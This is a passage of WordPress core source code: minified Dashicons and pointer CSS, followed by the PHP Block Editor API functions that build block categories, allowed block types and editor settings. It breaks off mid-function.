ontent:"\f472"}.dashicons-dismiss:before{content:"\f153"}.dashicons-download:before{content:"\f316"}.dashicons-drumstick:before{content:"\f17f"}.dashicons-edit-large:before{content:"\f327"}.dashicons-edit-page:before{content:"\f186"}.dashicons-edit:before{content:"\f464"}.dashicons-editor-aligncenter:before{content:"\f207"}.dashicons-editor-alignleft:before{content:"\f206"}.dashicons-editor-alignright:before{content:"\f208"}.dashicons-editor-bold:before{content:"\f200"}.dashicons-editor-break:before{content:"\f474"}.dashicons-editor-code-duplicate:before{content:"\f494"}.dashicons-editor-code:before{content:"\f475"}.dashicons-editor-contract:before{content:"\f506"}.dashicons-editor-customchar:before{content:"\f220"}.dashicons-editor-expand:before{content:"\f211"}.dashicons-editor-help:before{content:"\f223"}.dashicons-editor-indent:before{content:"\f222"}.dashicons-editor-insertmore:before{content:"\f209"}.dashicons-editor-italic:before{content:"\f201"}.dashicons-editor-justify:before{content:"\f214"}.dashicons-editor-kitchensink:before{content:"\f212"}.dashicons-editor-ltr:before{content:"\f10c"}.dashicons-editor-ol-rtl:before{content:"\f12c"}.dashicons-editor-ol:before{content:"\f204"}.dashicons-editor-outdent:before{content:"\f221"}.dashicons-editor-paragraph:before{content:"\f476"}.dashicons-editor-paste-text:before{content:"\f217"}.dashicons-editor-paste-word:before{content:"\f216"}.dashicons-editor-quote:before{content:"\f205"}.dashicons-editor-removeformatting:before{content:"\f218"}.dashicons-editor-rtl:before{content:"\f320"}.dashicons-editor-spellcheck:before{content:"\f210"}.dashicons-editor-strikethrough:before{content:"\f224"}.dashicons-editor-table:before{content:"\f535"}.dashicons-editor-textcolor:before{content:"\f215"}.dashicons-editor-ul:before{content:"\f203"}.dashicons-editor-underline:before{content:"\f213"}.dashicons-editor-unlink:before{content:"\f225"}.dashicons-editor-video:before{content:"\f219"}.dashicons-ellipsis:before{content:"\f11c"}.dashicons-email-alt:before{content:"\f466"}.dashicons-email-alt2:before{content:"\f467"}.dashicons-email:before{content:"\f465"}.dashicons-embed-audio:before{content:"\f13e"}.dashicons-embed-generic:before{content:"\f13f"}.dashicons-embed-photo:before{content:"\f144"}.dashicons-embed-post:before{content:"\f146"}.dashicons-embed-video:before{content:"\f149"}.dashicons-excerpt-view:before{content:"\f164"}.dashicons-exit:before{content:"\f14a"}.dashicons-external:before{content:"\f504"}.dashicons-facebook-alt:before{content:"\f305"}.dashicons-facebook:before{content:"\f304"}.dashicons-feedback:before{content:"\f175"}.dashicons-filter:before{content:"\f536"}.dashicons-flag:before{content:"\f227"}.dashicons-food:before{content:"\f187"}.dashicons-format-aside:before{content:"\f123"}.dashicons-format-audio:before{content:"\f127"}.dashicons-format-chat:before{content:"\f125"}.dashicons-format-gallery:before{content:"\f161"}.dashicons-format-image:before{content:"\f128"}.dashicons-format-quote:before{content:"\f122"}.dashicons-format-status:before{content:"\f130"}.dashicons-format-video:before{content:"\f126"}.dashicons-forms:before{content:"\f314"}.dashicons-fullscreen-alt:before{content:"\f188"}.dashicons-fullscreen-exit-alt:before{content:"\f189"}.dashicons-games:before{content:"\f18a"}.dashicons-google:before{content:"\f18b"}.dashicons-googleplus:before{content:"\f462"}.dashicons-grid-view:before{content:"\f509"}.dashicons-groups:before{content:"\f307"}.dashicons-hammer:before{content:"\f308"}.dashicons-heading:before{content:"\f10e"}.dashicons-heart:before{content:"\f487"}.dashicons-hidden:before{content:"\f530"}.dashicons-hourglass:before{content:"\f18c"}.dashicons-html:before{content:"\f14b"}.dashicons-id-alt:before{content:"\f337"}.dashicons-id:before{content:"\f336"}.dashicons-image-crop:before{content:"\f165"}.dashicons-image-filter:before{content:"\f533"}.dashicons-image-flip-horizontal:before{content:"\f169"}.dashicons-image-flip-vertical:before{content:"\f168"}.dashicons-image-rotate-left:before{content:"\f166"}.dashicons-image-rotate-right:before{content:"\f167"}.dashicons-image-rotate:before{content:"\f531"}.dashicons-images-alt:before{content:"\f232"}.dashicons-images-alt2:before{content:"\f233"}.dashicons-index-card:before{content:"\f510"}.dashicons-info-outline:before{content:"\f14c"}.dashicons-info:before{content:"\f348"}.dashicons-insert-after:before{content:"\f14d"}.dashicons-insert-before:before{content:"\f14e"}.dashicons-insert:before{content:"\f10f"}.dashicons-instagram:before{content:"\f12d"}.dashicons-laptop:before{content:"\f547"}.dashicons-layout:before{content:"\f538"}.dashicons-leftright:before{content:"\f229"}.dashicons-lightbulb:before{content:"\f339"}.dashicons-linkedin:before{content:"\f18d"}.dashicons-list-view:before{content:"\f163"}.dashicons-location-alt:before{content:"\f231"}.dashicons-location:before{content:"\f230"}.dashicons-lock-duplicate:before{content:"\f315"}.dashicons-lock:before{content:"\f160"}.dashicons-marker:before{content:"\f159"}.dashicons-media-archive:before{content:"\f501"}.dashicons-media-audio:before{content:"\f500"}.dashicons-media-code:before{content:"\f499"}.dashicons-media-default:before{content:"\f498"}.dashicons-media-document:before{content:"\f497"}.dashicons-media-interactive:before{content:"\f496"}.dashicons-media-spreadsheet:before{content:"\f495"}.dashicons-media-text:before{content:"\f491"}.dashicons-media-video:before{content:"\f490"}.dashicons-megaphone:before{content:"\f488"}.dashicons-menu-alt:before{content:"\f228"}.dashicons-menu-alt2:before{content:"\f329"}.dashicons-menu-alt3:before{content:"\f349"}.dashicons-menu:before{content:"\f333"}.dashicons-microphone:before{content:"\f482"}.dashicons-migrate:before{content:"\f310"}.dashicons-minus:before{content:"\f460"}.dashicons-money-alt:before{content:"\f18e"}.dashicons-money:before{content:"\f526"}.dashicons-move:before{content:"\f545"}.dashicons-nametag:before{content:"\f484"}.dashicons-networking:before{content:"\f325"}.dashicons-no-alt:before{content:"\f335"}.dashicons-no:before{content:"\f158"}.dashicons-open-folder:before{content:"\f18f"}.dashicons-palmtree:before{content:"\f527"}.dashicons-paperclip:before{content:"\f546"}.dashicons-pdf:before{content:"\f190"}.dashicons-performance:before{content:"\f311"}.dashicons-pets:before{content:"\f191"}.dashicons-phone:before{content:"\f525"}.dashicons-pinterest:before{content:"\f192"}.dashicons-playlist-audio:before{content:"\f492"}.dashicons-playlist-video:before{content:"\f493"}.dashicons-plugins-checked:before{content:"\f485"}.dashicons-plus-alt:before{content:"\f502"}.dashicons-plus-alt2:before{content:"\f543"}.dashicons-plus:before{content:"\f132"}.dashicons-podio:before{content:"\f19c"}.dashicons-portfolio:before{content:"\f322"}.dashicons-post-status:before{content:"\f173"}.dashicons-pressthis:before{content:"\f157"}.dashicons-printer:before{content:"\f193"}.dashicons-privacy:before{content:"\f194"}.dashicons-products:before{content:"\f312"}.dashicons-randomize:before{content:"\f503"}.dashicons-reddit:before{content:"\f195"}.dashicons-redo:before{content:"\f172"}.dashicons-remove:before{content:"\f14f"}.dashicons-rest-api:before{content:"\f124"}.dashicons-rss:before{content:"\f303"}.dashicons-saved:before{content:"\f15e"}.dashicons-schedule:before{content:"\f489"}.dashicons-screenoptions:before{content:"\f180"}.dashicons-search:before{content:"\f179"}.dashicons-share-alt:before{content:"\f240"}.dashicons-share-alt2:before{content:"\f242"}.dashicons-share:before{content:"\f237"}.dashicons-shield-alt:before{content:"\f334"}.dashicons-shield:before{content:"\f332"}.dashicons-shortcode:before{content:"\f150"}.dashicons-slides:before{content:"\f181"}.dashicons-smartphone:before{content:"\f470"}.dashicons-smiley:before{content:"\f328"}.dashicons-sort:before{content:"\f156"}.dashicons-sos:before{content:"\f468"}.dashicons-spotify:before{content:"\f196"}.dashicons-star-empty:before{content:"\f154"}.dashicons-star-filled:before{content:"\f155"}.dashicons-star-half:before{content:"\f459"}.dashicons-sticky:before{content:"\f537"}.dashicons-store:before{content:"\f513"}.dashicons-superhero-alt:before{content:"\f197"}.dashicons-superhero:before{content:"\f198"}.dashicons-table-col-after:before{content:"\f151"}.dashicons-table-col-before:before{content:"\f152"}.dashicons-table-col-delete:before{content:"\f15a"}.dashicons-table-row-after:before{content:"\f15b"}.dashicons-table-row-before:before{content:"\f15c"}.dashicons-table-row-delete:before{content:"\f15d"}.dashicons-tablet:before{content:"\f471"}.dashicons-tag:before{content:"\f323"}.dashicons-tagcloud:before{content:"\f479"}.dashicons-testimonial:before{content:"\f473"}.dashicons-text-page:before{content:"\f121"}.dashicons-text:before{content:"\f478"}.dashicons-thumbs-down:before{content:"\f542"}.dashicons-thumbs-up:before{content:"\f529"}.dashicons-tickets-alt:before{content:"\f524"}.dashicons-tickets:before{content:"\f486"}.dashicons-tide:before{content:"\f10d"}.dashicons-translation:before{content:"\f326"}.dashicons-trash:before{content:"\f182"}.dashicons-twitch:before{content:"\f199"}.dashicons-twitter-alt:before{content:"\f302"}.dashicons-twitter:before{content:"\f301"}.dashicons-undo:before{content:"\f171"}.dashicons-universal-access-alt:before{content:"\f507"}.dashicons-universal-access:before{content:"\f483"}.dashicons-unlock:before{content:"\f528"}.dashicons-update-alt:before{content:"\f113"}.dashicons-update:before{content:"\f463"}.dashicons-upload:before{content:"\f317"}.dashicons-vault:before{content:"\f178"}.dashicons-video-alt:before{content:"\f234"}.dashicons-video-alt2:before{content:"\f235"}.dashicons-video-alt3:before{content:"\f236"}.dashicons-visibility:before{content:"\f177"}.dashicons-warning:before{content:"\f534"}.dashicons-welcome-add-page:before{content:"\f133"}.dashicons-welcome-comments:before{content:"\f117"}.dashicons-welcome-learn-more:before{content:"\f118"}.dashicons-welcome-view-site:before{content:"\f115"}.dashicons-welcome-widgets-menus:before{content:"\f116"}.dashicons-welcome-write-blog:before{content:"\f119"}.dashicons-whatsapp:before{content:"\f19a"}.dashicons-wordpress-alt:before{content:"\f324"}.dashicons-wordpress:before{content:"\f120"}.dashicons-xing:before{content:"\f19d"}.dashicons-yes-alt:before{content:"\f12a"}.dashicons-yes:before{content:"\f147"}.dashicons-youtube:before{content:"\f19b"}.dashicons-editor-distractionfree:before{content:"\f211"}.dashicons-exerpt-view:before{content:"\f164"}.dashicons-format-links:before{content:"\f103"}.dashicons-format-standard:before{content:"\f109"}.dashicons-post-trash:before{content:"\f182"}.dashicons-share1:before{content:"\f237"}.dashicons-welcome-edit-page:before{content:"\f119"}/*! This file is auto-generated */
.wp-pointer-content{padding:0 0 10px;position:relative;font-size:13px;background:#fff;border:1px solid #c3c4c7;box-shadow:0 3px 6px rgba(0,0,0,.08)}.wp-pointer-content h3{position:relative;margin:-1px -1px 5px;padding:15px 18px 14px 60px;border:1px solid #2271b1;border-bottom:none;line-height:1.4;font-size:14px;color:#fff;background:#2271b1}.wp-pointer-content h3:before{background:#fff;border-radius:50%;color:#2271b1;content:"\f227";font:normal 20px/1.6 dashicons;position:absolute;top:8px;left:15px;speak:never;text-align:center;width:32px;height:32px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-pointer-content h4{margin:1.33em 20px 1em;font-size:1.15em}.wp-pointer-content p{padding:0 20px}.wp-pointer-buttons{margin:0;padding:5px 15px;overflow:auto}.wp-pointer-buttons a{float:right;display:inline-block;text-decoration:none}.wp-pointer-buttons a.close{padding-left:3px;position:relative}.wp-pointer-buttons a.close:before{background:0 0;color:#787c82;content:"\f153";display:block!important;font:normal 16px/1 dashicons;speak:never;margin:1px 0;text-align:center;-webkit-font-smoothing:antialiased!important;width:10px;height:100%;position:absolute;left:-15px;top:1px}.wp-pointer-buttons a.close:hover:before{color:#d63638}.wp-pointer-arrow,.wp-pointer-arrow-inner{position:absolute;width:0;height:0}.wp-pointer-arrow{z-index:10;width:0;height:0;border:0 solid transparent}.wp-pointer-arrow-inner{z-index:20}.wp-pointer-top,.wp-pointer-undefined{padding-top:13px}.wp-pointer-bottom{margin-top:-13px;padding-bottom:13px}.wp-pointer-left{padding-left:13px}.wp-pointer-right{margin-left:-13px;padding-right:13px}.wp-pointer-bottom .wp-pointer-arrow,.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{left:50px}.wp-pointer-left .wp-pointer-arrow,.wp-pointer-right .wp-pointer-arrow{top:50%;margin-top:-15px}.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{top:0;border-width:0 13px 13px;border-bottom-color:#2271b1}.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer-undefined .wp-pointer-arrow-inner{top:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-bottom-color:#2271b1;display:block;content:" "}.wp-pointer-bottom .wp-pointer-arrow{bottom:0;border-width:13px 13px 0;border-top-color:#c3c4c7}.wp-pointer-bottom .wp-pointer-arrow-inner{bottom:1px;margin-left:-13px;margin-bottom:-13px;border:13px solid transparent;border-top-color:#fff;display:block;content:" "}.wp-pointer-left .wp-pointer-arrow{left:0;border-width:13px 13px 13px 0;border-right-color:#c3c4c7}.wp-pointer-left .wp-pointer-arrow-inner{left:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-right-color:#fff;display:block;content:" "}.wp-pointer-right .wp-pointer-arrow{right:0;border-width:13px 0 13px 13px;border-left-color:#c3c4c7}.wp-pointer-right .wp-pointer-arrow-inner{right:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-left-color:#fff;display:block;content:" "}.wp-pointer.arrow-bottom .wp-pointer-content{margin-bottom:-45px}.wp-pointer.arrow-bottom .wp-pointer-arrow{top:100%;margin-top:-30px}@media screen and (max-width:782px){.wp-pointer{display:none}}<?php
/**
 * Block Editor API.
 *
 * @package WordPress
 * @subpackage Editor
 * @since 5.8.0
 */

/**
 * Returns the list of default categories for block types.
 *
 * @since 5.8.0
 * @since 6.3.0 Reusable Blocks renamed to Patterns.
 *
 * @return array[] Array of categories for block types.
 */
function get_default_block_categories() {
	return array(
		array(
			'slug'  => 'text',
			'title' => _x( 'Text', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'media',
			'title' => _x( 'Media', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'design',
			'title' => _x( 'Design', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'widgets',
			'title' => _x( 'Widgets', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'theme',
			'title' => _x( 'Theme', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'embed',
			'title' => _x( 'Embeds', 'block category' ),
			'icon'  => null,
		),
		array(
			'slug'  => 'reusable',
			'title' => _x( 'Patterns', 'block category' ),
			'icon'  => null,
		),
	);
}

/**
 * Returns all the categories for block types that will be shown in the block editor.
 *
 * @since 5.0.0
 * @since 5.8.0 It is possible to pass the block editor context as param.
 *
 * @param WP_Post|WP_Block_Editor_Context $post_or_block_editor_context The current post object or
 *                                                                      the block editor context.
 *
 * @return array[] Array of categories for block types.
 */
function get_block_categories( $post_or_block_editor_context ) {
	$block_categories     = get_default_block_categories();
	$block_editor_context = $post_or_block_editor_context instanceof WP_Post ?
		new WP_Block_Editor_Context(
			array(
				'post' => $post_or_block_editor_context,
			)
		) : $post_or_block_editor_context;

	/**
	 * Filters the default array of categories for block types.
	 *
	 * @since 5.8.0
	 *
	 * @param array[]                 $block_categories     Array of categories for block types.
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$block_categories = apply_filters( 'block_categories_all', $block_categories, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$post = $block_editor_context->post;

		/**
		 * Filters the default array of categories for block types.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'block_categories_all'} filter instead.
		 *
		 * @param array[] $block_categories Array of categories for block types.
		 * @param WP_Post $post             Post being loaded.
		 */
		$block_categories = apply_filters_deprecated( 'block_categories', array( $block_categories, $post ), '5.8.0', 'block_categories_all' );
	}

	return $block_categories;
}

/**
 * Gets the list of allowed block types to use in the block editor.
 *
 * @since 5.8.0
 *
 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
 *
 * @return bool|string[] Array of block type slugs, or boolean to enable/disable all.
 */
function get_allowed_block_types( $block_editor_context ) {
	$allowed_block_types = true;

	/**
	 * Filters the allowed block types for all editor types.
	 *
	 * @since 5.8.0
	 *
	 * @param bool|string[]           $allowed_block_types  Array of block type slugs, or boolean to enable/disable all.
	 *                                                      Default true (all registered block types supported).
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$allowed_block_types = apply_filters( 'allowed_block_types_all', $allowed_block_types, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$post = $block_editor_context->post;

		/**
		 * Filters the allowed block types for the editor.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'allowed_block_types_all'} filter instead.
		 *
		 * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all.
		 *                                           Default true (all registered block types supported)
		 * @param WP_Post       $post                The post resource data.
		 */
		$allowed_block_types = apply_filters_deprecated( 'allowed_block_types', array( $allowed_block_types, $post ), '5.8.0', 'allowed_block_types_all' );
	}

	return $allowed_block_types;
}

/**
 * Returns the default block editor settings.
 *
 * @since 5.8.0
 *
 * @return array The default block editor settings.
 */
function get_default_block_editor_settings() {
	// Media settings.

	// wp_max_upload_size() can be expensive, so only call it when relevant for the current user.
	$max_upload_size = 0;
	if ( current_user_can( 'upload_files' ) ) {
		$max_upload_size = wp_max_upload_size();
		if ( ! $max_upload_size ) {
			$max_upload_size = 0;
		}
	}

	/** This filter is documented in wp-admin/includes/media.php */
	$image_size_names = apply_filters(
		'image_size_names_choose',
		array(
			'thumbnail' => __( 'Thumbnail' ),
			'medium'    => __( 'Medium' ),
			'large'     => __( 'Large' ),
			'full'      => __( 'Full Size' ),
		)
	);

	$available_image_sizes = array();
	foreach ( $image_size_names as $image_size_slug => $image_size_name ) {
		$available_image_sizes[] = array(
			'slug' => $image_size_slug,
			'name' => $image_size_name,
		);
	}

	$default_size       = get_option( 'image_default_size', 'large' );
	$image_default_size = in_array( $default_size, array_keys( $image_size_names ), true ) ? $default_size : 'large';

	$image_dimensions = array();
	$all_sizes        = wp_get_registered_image_subsizes();
	foreach ( $available_image_sizes as $size ) {
		$key = $size['slug'];
		if ( isset( $all_sizes[ $key ] ) ) {
			$image_dimensions[ $key ] = $all_sizes[ $key ];
		}
	}

	// These styles are used if the "no theme styles" options is triggered or on
	// themes without their own editor styles.
	$default_editor_styles_file = ABSPATH . WPINC . '/css/dist/block-editor/default-editor-styles.css';

	static $default_editor_styles_file_contents = false;
	if ( ! $default_editor_styles_file_contents && file_exists( $default_editor_styles_file ) ) {
		$default_editor_styles_file_contents = file_get_contents( $default_editor_styles_file );
	}

	$default_editor_styles = array();
	if ( $default_editor_styles_file_contents ) {
		$default_editor_styles = array(
			array( 'css' => $default_editor_styles_file_contents ),
		);
	}

	$editor_settings = array(
		'alignWide'                        => get_theme_support( 'align-wide' ),
		'allowedBlockTypes'                => true,
		'allowedMimeTypes'                 => get_allowed_mime_types(),
		'defaultEditorStyles'              => $default_editor_styles,
		'blockCategories'                  => get_default_block_categories(),
		'isRTL'                            => is_rtl(),
		'imageDefaultSize'                 => $image_default_size,
		'imageDimensions'                  => $image_dimensions,
		'imageEditing'                     => true,
		'imageSizes'                       => $available_image_sizes,
		'maxUploadFileSize'                => $max_upload_size,
		// The following flag is required to enable the new Gallery block format on the mobile apps in 5.9.
		'__unstableGalleryWithImageBlocks' => true,
	);

	$theme_settings = get_classic_theme_supports_block_editor_settings();
	foreach ( $theme_settings as $key => $value ) {
		$editor_settings[ $key ] = $value;
	}

	return $editor_settings;
}

/**
 * Returns the block editor settings needed to use the Legacy Widget block which
 * is not registered by default.
 *
 * @since 5.8.0
 *
 * @return array Settings to be used with get_block_editor_settings().
 */
function get_legacy_widget_block_editor_settings() {
	$editor_settings = array();

	/**
	 * Filters the list of widget-type IDs that should **not** be offered by the
	 * Legacy Widget block.
	 *
	 * Returning an empty array will make all widgets available.
	 *
	 * @since 5.8.0
	 *
	 * @param string[] $widgets An array of excluded widget-type IDs.
	 */
	$editor_settings['widgetTypesToHideFromLegacyWidgetBlock'] = apply_filters(
		'widget_types_to_hide_from_legacy_widget_block',
		array(
			'pages',
			'calendar',
			'archives',
			'media_audio',
			'media_image',
			'media_gallery',
			'media_video',
			'search',
			'text',
			'categories',
			'recent-posts',
			'recent-comments',
			'rss',
			'tag_cloud',
			'custom_html',
			'block',
		)
	);

	return $editor_settings;
}

/**
 * Collect the block editor assets that need to be loaded into the editor's iframe.
 *
 * @since 6.0.0
 * @access private
 *
 * @global WP_Styles  $wp_styles  The WP_Styles current instance.
 * @global WP_Scripts $wp_scripts The WP_Scripts current instance.
 *
 * @return array {
 *     The block editor assets.
 *
 *     @type string|false $styles  String containing the HTML for styles.
 *     @type string|false $scripts String containing the HTML for scripts.
 * }
 */
function _wp_get_iframed_editor_assets() {
	global $wp_styles, $wp_scripts;

	// Keep track of the styles and scripts instance to restore later.
	$current_wp_styles  = $wp_styles;
	$current_wp_scripts = $wp_scripts;

	// Create new instances to collect the assets.
	$wp_styles  = new WP_Styles();
	$wp_scripts = new WP_Scripts();

	/*
	 * Register all currently registered styles and scripts. The actions that
	 * follow enqueue assets, but don't necessarily register them.
	 */
	$wp_styles->registered  = $current_wp_styles->registered;
	$wp_scripts->registered = $current_wp_scripts->registered;

	/*
	 * We generally do not need reset styles for the iframed editor.
	 * However, if it's a classic theme, margins will be added to every block,
	 * which is reset specifically for list items, so classic themes rely on
	 * these reset styles.
	 */
	$wp_styles->done =
		wp_theme_has_theme_json() ? array( 'wp-reset-editor-styles' ) : array();

	wp_enqueue_script( 'wp-polyfill' );
	// Enqueue the `editorStyle` handles for all core block, and dependencies.
	wp_enqueue_style( 'wp-edit-blocks' );

	if ( current_theme_supports( 'wp-block-styles' ) ) {
		wp_enqueue_style( 'wp-block-library-theme' );
	}

	/*
	 * We don't want to load EDITOR scripts in the iframe, only enqueue
	 * front-end assets for the content.
	 */
	add_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' );
	do_action( 'enqueue_block_assets' );
	remove_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' );

	$block_registry = WP_Block_Type_Registry::get_instance();

	/*
	 * Additionally, do enqueue `editorStyle` assets for all blocks, which
	 * contains editor-only styling for blocks (editor content).
	 */
	foreach ( $block_registry->get_all_registered() as $block_type ) {
		if ( isset( $block_type->editor_style_handles ) && is_array( $block_type->editor_style_handles ) ) {
			foreach ( $block_type->editor_style_handles as $style_handle ) {
				wp_enqueue_style( $style_handle );
			}
		}
	}

	/**
	 * Remove the deprecated `print_emoji_styles` handler.
	 * It avoids breaking style generation with a deprecation message.
	 */
	$has_emoji_styles = has_action( 'wp_print_styles', 'print_emoji_styles' );
	if ( $has_emoji_styles ) {
		remove_action( 'wp_print_styles', 'print_emoji_styles' );
	}

	ob_start();
	wp_print_styles();
	wp_print_font_faces();
	$styles = ob_get_clean();

	if ( $has_emoji_styles ) {
		add_action( 'wp_print_styles', 'print_emoji_styles' );
	}

	ob_start();
	wp_print_head_scripts();
	wp_print_footer_scripts();
	$scripts = ob_get_clean();

	// Restore the original instances.
	$wp_styles  = $current_wp_styles;
	$wp_scripts = $current_wp_scripts;

	return array(
		'styles'  => $styles,
		'scripts' => $scripts,
	);
}

/**
 * Finds the first occurrence of a specific block in an array of blocks.
 *
 * @since 6.3.0
 *
 * @param array  $blocks     Array of blocks.
 * @param string $block_name Name of the block to find.
 * @return array Found block, or empty array if none found.
 */
function wp_get_first_block( $blocks, $block_name ) {
	foreach ( $blocks as $block ) {
		if ( $block_name === $block['blockName'] ) {
			return $block;
		}
		if ( ! empty( $block['innerBlocks'] ) ) {
			$found_block = wp_get_first_block( $block['innerBlocks'], $block_name );

			if ( ! empty( $found_block ) ) {
				return $found_block;
			}
		}
	}

	return array();
}

/**
 * Retrieves Post Content block attributes from the current post template.
 *
 * @since 6.3.0
 * @since 6.4.0 Return null if there is no post content block.
 * @access private
 *
 * @global int $post_ID
 *
 * @return array|null Post Content block attributes array or null if Post Content block doesn't exist.
 */
function wp_get_post_content_block_attributes() {
	global $post_ID;

	$is_block_theme = wp_is_block_theme();

	if ( ! $is_block_theme || ! $post_ID ) {
		return null;
	}

	$template_slug = get_page_template_slug( $post_ID );

	if ( ! $template_slug ) {
		$post_slug      = 'singular';
		$page_slug      = 'singular';
		$template_types = get_block_templates();

		foreach ( $template_types as $template_type ) {
			if ( 'page' === $template_type->slug ) {
				$page_slug = 'page';
			}
			if ( 'single' === $template_type->slug ) {
				$post_slug = 'single';
			}
		}

		$what_post_type = get_post_type( $post_ID );
		switch ( $what_post_type ) {
			case 'page':
				$template_slug = $page_slug;
				break;
			default:
				$template_slug = $post_slug;
				break;
		}
	}

	$current_template = get_block_templates( array( 'slug__in' => array( $template_slug ) ) );

	if ( ! empty( $current_template ) ) {
		$template_blocks    = parse_blocks( $current_template[0]->content );
		$post_content_block = wp_get_first_block( $template_blocks, 'core/post-content' );

		if ( isset( $post_content_block['attrs'] ) ) {
			return $post_content_block['attrs'];
		}
	}

	return null;
}

/**
 * Returns the contextualized block editor settings for a selected editor context.
 *
 * @since 5.8.0
 *
 * @param array                   $custom_settings      Custom settings to use with the given editor type.
 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
 *
 * @return array The contextualized block editor settings.
 */
function get_block_editor_settings( array $custom_settings, $block_editor_context ) {
	$editor_settings = array_merge(
		get_default_block_editor_settings(),
		array(
			'allowedBlockTypes' => get_allowed_block_types( $block_editor_context ),
			'blockCategories'   => get_block_categories( $block_editor_context ),
		),
		$custom_settings
	);

	$global_styles = array();
	$presets       = array(
		array(
			'css'            => 'variables',
			'__unstableType' => 'presets',
			'isGlobalStyles' => true,
		),
		array(
			'css'            => 'presets',
			'__unstableType' => 'presets',
			'isGlobalStyles' => true,
		),
	);
	foreach ( $presets as $preset_style ) {
		$actual_css = wp_get_global_stylesheet( array( $preset_style['css'] ) );
		if ( '' !== $actual_css ) {
			$preset_style['css'] = $actual_css;
			$global_styles[]     = $preset_style;
		}
	}

	if ( wp_theme_has_theme_json() ) {
		$block_classes = array(
			'css'            => 'styles',
			'__unstableType' => 'theme',
			'isGlobalStyles' => true,
		);
		$actual_css    = wp_get_global_stylesheet( array( $block_classes['css'] ) );
		if ( '' !== $actual_css ) {
			$block_classes['css'] = $actual_css;
			$global_styles[]      = $block_classes;
		}

		/*
		 * Add the custom CSS as a separate stylesheet so any invalid CSS
		 * entered by users does not break other global styles.
		 */
		$global_styles[] = array(
			'css'            => wp_get_global_styles_custom_css(),
			'__unstableType' => 'user',
			'isGlobalStyles' => true,
		);
	} else {
		// If there is no `theme.json` file, ensure base layout styles are still available.
		$block_classes = array(
			'css'            => 'base-layout-styles',
			'__unstableType' => 'base-layout',
			'isGlobalStyles' => true,
		);
		$actual_css    = wp_get_global_stylesheet( array( $block_classes['css'] ) );
		if ( '' !== $actual_css ) {
			$block_classes['css'] = $actual_css;
			$global_styles[]      = $block_classes;
		}
	}

	$editor_settings['styles'] = array_merge( $global_styles, get_block_editor_theme_styles() );

	$editor_settings['__experimentalFeatures'] = wp_get_global_settings();
	// These settings may need to be updated based on data coming from theme.json sources.
	if ( isset( $editor_settings['__experimentalFeatures']['color']['palette'] ) ) {
		$colors_by_origin          = $editor_settings['__experimentalFeatures']['color']['palette'];
		$editor_settings['colors'] = isset( $colors_by_origin['custom'] ) ?
			$colors_by_origin['custom'] : (
				isset( $colors_by_origin['theme'] ) ?
					$colors_by_origin['theme'] :
					$colors_by_origin['default']
			);
	}
	if ( isset( $editor_settings['__experimentalFeatures']['color']['gradients'] ) ) {
		$gradients_by_origin          = $editor_settings['__experimentalFeatures']['color']['gradients'];
		$editor_settings['gradients'] = isset( $gradients_by_origin['custom'] ) ?
			$gradients_by_origin['custom'] : (
				isset( $gradients_by_origin['theme'] ) ?
					$gradients_by_origin['theme'] :
					$gradients_by_origin['default']
			);
	}
	if ( isset( $editor_settings['__experimentalFeatures']['typography']['fontSizes'] ) ) {
		$font_sizes_by_origin         = $editor_settings['__experimentalFeatures']['typography']['fontSizes'];
		$editor_settings['fontSizes'] = isset( $font_sizes_by_origin['custom'] ) ?
			$font_sizes_by_origin['custom'] : (
				isset( $font_sizes_by_origin['theme'] ) ?
					$font_sizes_by_origin['theme'] :
					$font_sizes_by_origin['default']
			);
	}
	if ( isset( $editor_settings['__experimentalFeatures']['color']['custom'] ) ) {
		$editor_settings['disableCustomColors'] = ! $editor_settings['__experimentalFeatures']['color']['custom'];
		unset( $editor_settings['__experimentalFeatures']['color']['custom'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ) ) {
		$editor_settings['disableCustomGradients'] = ! $editor_settings['__experimentalFeatures']['color']['customGradient'];
		unset( $editor_settings['__experimentalFeatures']['color']['customGradient'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ) ) {
		$editor_settings['disableCustomFontSizes'] = ! $editor_settings['__experimentalFeatures']['typography']['customFontSize'];
		unset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] ) ) {
		$editor_settings['enableCustomLineHeight'] = $editor_settings['__experimentalFeatures']['typography']['lineHeight'];
		unset( $editor_settings['__experimentalFeatures']['typography']['lineHeight'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['units'] ) ) {
		$editor_settings['enableCustomUnits'] = $editor_settings['__experimentalFeatures']['spacing']['units'];
		unset( $editor_settings['__experimentalFeatures']['spacing']['units'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['padding'] ) ) {
		$editor_settings['enableCustomSpacing'] = $editor_settings['__experimentalFeatures']['spacing']['padding'];
		unset( $editor_settings['__experimentalFeatures']['spacing']['padding'] );
	}
	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] ) ) {
